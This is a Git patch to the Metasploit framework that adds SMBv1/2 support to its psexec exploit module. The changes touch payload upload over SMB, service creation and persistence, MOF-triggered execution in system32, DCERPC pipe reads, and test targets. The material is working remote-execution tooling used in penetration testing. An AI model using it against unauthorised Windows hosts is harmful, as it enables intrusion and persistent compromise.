From 709630e35c1ea391d479de1c833c09b552eb338c Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 29 Jun 2018 17:49:27 -0500 Subject: [PATCH] Land #10185, add SMBv1/2 support in psexec --- lib/msf/core/exploit/smb/client.rb | 6 +- lib/msf/core/exploit/smb/client/psexec.rb | 94 +++++++++---------- lib/rex/proto/dcerpc/client.rb | 39 +------- lib/rex/proto/smb/simpleclient.rb | 6 +- lib/rex/proto/smb/simpleclient/open_file.rb | 12 ++- modules/exploits/windows/smb/psexec.rb | 2 +- test/modules/exploits/windows/smb/psexec.json | 25 ++++- 7 files changed, 91 insertions(+), 93 deletions(-) diff --git a/lib/msf/core/exploit/smb/client.rb b/lib/msf/core/exploit/smb/client.rb index e79fbea36e..cc22c8c2bf 100644 --- a/lib/msf/core/exploit/smb/client.rb +++ b/lib/msf/core/exploit/smb/client.rb @@ -166,8 +166,8 @@ module Msf #the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations) #cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED #fd.chunk_size = 500 is better - def smb_open(path, perm) - self.simple.open(path, perm, datastore['SMB::ChunkSize']) + def smb_open(path, perm, read: true, write: false) + self.simple.open(path, perm, datastore['SMB::ChunkSize'], read: read, write: write) end def smb_hostname @@ -220,6 +220,8 @@ module Msf def smb_file_exist?(file) begin fd = simple.open(file, 'o') + rescue RubySMB::Error::UnexpectedStatusCode => e + found = false rescue Rex::Proto::SMB::Exceptions::ErrorCode => e # If attempting to open the file results in a "*_NOT_FOUND" error, # then we can be sure the file is not there. diff --git a/lib/msf/core/exploit/smb/client/psexec.rb b/lib/msf/core/exploit/smb/client/psexec.rb index 9720f45ec3..5d8a78c366 100644 --- a/lib/msf/core/exploit/smb/client/psexec.rb +++ b/lib/msf/core/exploit/smb/client/psexec.rb @@ -142,54 +142,52 @@ module Exploit::Remote::SMB::Client::Psexec if svc_handle.nil? print_error("No service handle retrieved") return false - else + end - if service_description - vprint_status("Changing service description...") - svc_client.changeservicedescription(svc_handle, service_description) + if service_description + vprint_status("Changing service description...") + svc_client.changeservicedescription(svc_handle, service_description) + end + + vprint_status("Starting the service...") + begin + svc_status = svc_client.startservice(svc_handle) + case svc_status + when ERROR_SUCCESS + print_good("Service started successfully...") + when ERROR_FILE_NOT_FOUND + print_error("Service failed to start - FILE_NOT_FOUND") + when ERROR_ACCESS_DENIED + print_error("Service failed to start - ACCESS_DENIED") + when ERROR_SERVICE_REQUEST_TIMEOUT + print_good("Service start timed out, OK if running a command or non-service executable...") + else + print_error("Service failed to start, ERROR_CODE: #{svc_status}") end - - vprint_status("Starting the service...") + ensure begin - svc_status = svc_client.startservice(svc_handle) - case svc_status - when ERROR_SUCCESS - print_good("Service started successfully...") - when ERROR_FILE_NOT_FOUND - print_error("Service failed to start - FILE_NOT_FOUND") - when ERROR_ACCESS_DENIED - print_error("Service failed to start - ACCESS_DENIED") - when ERROR_SERVICE_REQUEST_TIMEOUT - print_good("Service start timed out, OK if running a command or non-service executable...") + # If service already exists don't delete it! + # Maybe we could have a force cleanup option..? + if service_exists + print_warning("Not removing service as it already existed...") + elsif datastore['SERVICE_PERSIST'] + print_warning("Not removing service for persistence...") else - print_error("Service failed to start, ERROR_CODE: #{svc_status}") + vprint_status("Removing the service...") + svc_status = svc_client.deleteservice(svc_handle) + if svc_status == ERROR_SUCCESS + vprint_good("Successfully removed the service") + else + print_error("Unable to remove the service, ERROR_CODE: #{svc_status}") + end end ensure - begin - # If service already exists don't delete it! - # Maybe we could have a force cleanup option..? - if service_exists - print_warning("Not removing service as it already existed...") - elsif datastore['SERVICE_PERSIST'] - print_warning("Not removing service for persistence...") - else - vprint_status("Removing the service...") - svc_status = svc_client.deleteservice(svc_handle) - if svc_status == ERROR_SUCCESS - vprint_good("Successfully removed the service") - else - print_error("Unable to remove the service, ERROR_CODE: #{svc_status}") - end - end - ensure - vprint_status("Closing service handle...") - svc_client.closehandle(svc_handle) - end + vprint_status("Closing service handle...") + svc_client.closehandle(svc_handle) end end if disconnect - sleep(1) simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") end @@ -272,11 +270,11 @@ module Exploit::Remote::SMB::Client::Psexec end def native_upload(smb_share) - filename = "#{rand_text_alpha(8)}.exe" + filename = "#{Rex::Text.rand_text_alpha(8)}.exe" serviceencoder = '' # Upload the shellcode to a file - print_status("Uploading payload...") + print_status("Uploading payload... #{filename}") smbshare = smb_share fileprefix = "" # if SHARE = Users/sasha/ or something like this @@ -288,11 +286,11 @@ module Exploit::Remote::SMB::Client::Psexec smbshare = folder_list[0] fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1 simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") - fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct') + fd = smb_open("#{fileprefix}\\#{filename}", 'rwct', write: true) else subfolder = false simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") - fd = smb_open("\\#{filename}", 'rwct') + fd = smb_open("#{filename}", 'rwct', write: true) end exe = '' opts = { :servicename => service_name, :serviceencoder => serviceencoder} @@ -330,14 +328,14 @@ module Exploit::Remote::SMB::Client::Psexec if smb_share =~ /.[\\\/]/ simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") begin - simple.delete("\\#{fileprefix}\\#{filename}") + simple.delete("#{fileprefix}\\#{filename}") rescue XCEPT::ErrorCode => e print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}") end else simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") begin - simple.delete("\\#{filename}") + simple.delete("#{filename}") rescue XCEPT::ErrorCode => e print_error("Delete of \\#{filename} failed: #{e.message}") end @@ -347,7 +345,7 @@ module Exploit::Remote::SMB::Client::Psexec def mof_upload(smb_share) share = "\\\\#{datastore['RHOST']}\\ADMIN$" - filename = "#{rand_text_alpha(8)}.exe" + filename = "#{Rex::Text.rand_text_alpha(8)}.exe" # payload as exe print_status("Trying wbemexec...") @@ -358,16 +356,16 @@ module Exploit::Remote::SMB::Client::Psexec end simple.connect(share) exe = generate_payload_exe - fd = smb_open("\\system32\\#{filename}", 'rwct') + fd = smb_open("\\system32\\#{filename}", 'rwct', write: true) fd << exe fd.close print_status("Created %SystemRoot%\\system32\\#{filename}") # mof to cause execution of above - mofname = rand_text_alphanumeric(14) + ".MOF" + mofname = Rex::Text.rand_text_alphanumeric(14) + ".MOF" mof = generate_mof(mofname, filename) print_status("Uploading MOF...") - fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct') + fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct', write: true) fd << mof fd.close print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}") diff --git a/lib/rex/proto/dcerpc/client.rb b/lib/rex/proto/dcerpc/client.rb index 72500e53d4..377590b62d 100644 --- a/lib/rex/proto/dcerpc/client.rb +++ b/lib/rex/proto/dcerpc/client.rb @@ -141,43 +141,7 @@ require 'rex/proto/smb/exceptions' # Are we reading from a remote pipe over SMB? if (self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe) begin - - # Max SMB read is 65535, cap it at 64000 - max_read = [64000, max_read].min - min_read = [64000, min_read].min - - read_limit = nil - - while(true) - # Random read offsets will not work on Windows NT 4.0 (thanks Dave!) - - read_cnt = (rand(max_read-min_read)+min_read) - if(read_limit) - if(read_cnt + raw_response.length > read_limit) - read_cnt = raw_response.length - read_limit - end - end - - data = self.socket.read(read_cnt, rand(1024)+1) - break if !(data and data.length > 0) - raw_response += data - - # Keep reading until we have at least the DCERPC header - next if raw_response.length < 10 - - # We now have to process the raw_response and parse out the DCERPC fragment length - # if we have read enough data. Once we have the length value, we need to make sure - # that we don't read beyond this amount, or it can screw up the SMB state - if (not read_limit) - begin - check = Rex::Proto::DCERPC::Response.new(raw_response) - read_limit = check.frag_len - rescue ::Rex::Proto::DCERPC::Exceptions::InvalidPacket - end - end - break if (read_limit and read_limit <= raw_response.length) - end - + raw_response = self.socket.read(65535, 0) rescue Rex::Proto::SMB::Exceptions::NoReply # I don't care if I didn't get a reply... rescue Rex::Proto::SMB::Exceptions::ErrorCode => exception @@ -306,7 +270,6 @@ require 'rex/proto/smb/exceptions' raise Rex::Proto::DCERPC::Exceptions::NoResponse end - self.last_response = Rex::Proto::DCERPC::Response.new(raw_response) if self.last_response.type == 3 diff --git a/lib/rex/proto/smb/simpleclient.rb b/lib/rex/proto/smb/simpleclient.rb index 381620de0e..2542439e3f 100644 --- a/lib/rex/proto/smb/simpleclient.rb +++ b/lib/rex/proto/smb/simpleclient.rb @@ -214,7 +214,11 @@ attr_accessor :socket, :client, :direct, :shares, :last_share, :versions end def delete(*args) - self.client.delete(*args) + if self.versions.include?(2) + self.client.delete(args[0]) + else + self.client.delete(*args) + end end def create_pipe(path, perm = 'c') diff --git a/lib/rex/proto/smb/simpleclient/open_file.rb b/lib/rex/proto/smb/simpleclient/open_file.rb index 69a46e99e7..91f93ccc52 100644 --- a/lib/rex/proto/smb/simpleclient/open_file.rb +++ b/lib/rex/proto/smb/simpleclient/open_file.rb @@ -29,7 +29,7 @@ module Rex::Proto::SMB client.close(file_id, tree_id) end - def read_ruby_smb(length, offset) + def read_ruby_smb(length, offset, depth = 0) if length.nil? max_size = client.open_files[client.last_file_id].size fptr = offset @@ -47,7 +47,15 @@ module Rex::Proto::SMB fptr = data.length end else - data = client.read(file_id, offset, length).pack('C*') + begin + data = client.read(file_id, offset, length).pack('C*') + rescue RubySMB::Error::UnexpectedStatusCode => e + if e.message == 'STATUS_PIPE_EMPTY' && depth < 2 + data = read_ruby_smb(length, offset, depth + 1) + else + raise e + end + end end data diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 309a5b874e..c271ee45e2 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -88,7 +88,7 @@ class MetasploitModule < Msf::Exploit::Remote def exploit print_status("Connecting to the server...") - connect() + connect(versions: [1,2]) print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...") smb_login() diff --git a/test/modules/exploits/windows/smb/psexec.json b/test/modules/exploits/windows/smb/psexec.json index c44300cbdc..694883df9b 100644 --- a/test/modules/exploits/windows/smb/psexec.json +++ b/test/modules/exploits/windows/smb/psexec.json @@ -12,7 +12,8 @@ "NAME": "exploit/windows/smb/psexec", "SETTINGS": [ "SMBUser=vagrant", - "SMBPass=vagrant" + "SMBPass=vagrant", + "TARGET=0" ] } ], @@ -42,6 +43,28 @@ }, { "CPE": "cpe:/o:microsoft:windows_10:::x64" + }, + { + "CPE": "cpe:/o:microsoft:windows_8.1::sp1:x64" + }, + { + "CPE": "cpe:/o:microsoft:windows_server_2008:r2:sp1:x64" + }, + { + "CPE": "cpe:/o:microsoft:windows_7::sp1:x64", + "TESTING_SNAPSHOT": "DisableSMBv1" + }, + { + "CPE": "cpe:/o:microsoft:windows_10:1607::x64", + "TESTING_SNAPSHOT": "DisableSMBv1" + }, + { + "CPE": "cpe:/o:microsoft:windows_8.1:::x64", + "TESTING_SNAPSHOT": "DisableSMBv1" + }, + { + "CPE": "cpe:/o:microsoft:windows_server_2008::r2:x64", + "TESTING_SNAPSHOT": "DisableSMBv1" } ], "TARGET_GLOBALS": {